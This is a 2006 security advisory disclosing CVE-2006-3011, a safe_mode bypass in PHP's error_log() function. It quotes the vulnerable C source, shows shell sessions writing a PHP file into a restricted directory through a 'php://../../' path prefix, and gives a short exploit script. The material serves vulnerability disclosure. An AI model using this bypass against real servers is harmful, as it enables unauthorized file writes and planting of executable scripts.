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error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2
From: Maksymilian Arciemowicz <max () jestsuper pl>
Date: Mon, 26 Jun 2006 01:10:48 +0200

Source: http://securityreason.com/achievement_securityalert/41

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[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
from SECURITYREASON.COM
CVE-2006-3011

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of 
unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically 
generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend 
website. Also, much of the PHP Conference Material is freely available.
error_log -- Send an error message somewhere.

- --- 1. error_log() Safe Mode Bypass ---
error_log() function send to email, file or display your error message. You can send error messages per mail or write 
into files. Issue is very simple. error_log() check safe_mode and open_basedir in stream function. But isn't allowed 
use URL. And problem exists in incorrect filename.

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)
{
        php_stream *stream = NULL;

        switch (opt_err) {

                case 1:         /*send an email */
                        {
#if HAVE_SENDMAIL
                                if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
                                        return FAILURE;
                                }
#else
                                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
                                return FAILURE;
#endif
                        }
                        break;

                case 2:         /*send to an address */
                        php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
                        return FAILURE;
                        break;

                case 3:         /*save to a file */
                        stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, 
NULL);
                        if (!stream)
                                return FAILURE;
                        php_stream_write(stream, message, strlen(message));
                        php_stream_close(stream);
                        break;

                default:
                        php_log_err(message TSRMLS_CC);
                        break;
        }
        return SUCCESS;
}
- -2013-2050---

Let's see to option 3.

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---

Option "a", writte to file error or if file dosen't exists, create new file. 
Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
IGNORE_URL turn off safe_mode if you use "prefix://../../".

- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'

Warning: error_log(): SAFE MODE Restriction in effect.  The script whose uid is 0 is not allowed to access /www/temp 
owned by uid 80 in Command line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r--  1 cxib  www  16 Jun 11 17:47 /www/temp/sr.php
cxib# 
- -Example---

- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>


- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006

- --- 4. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec, gKPc8O3

- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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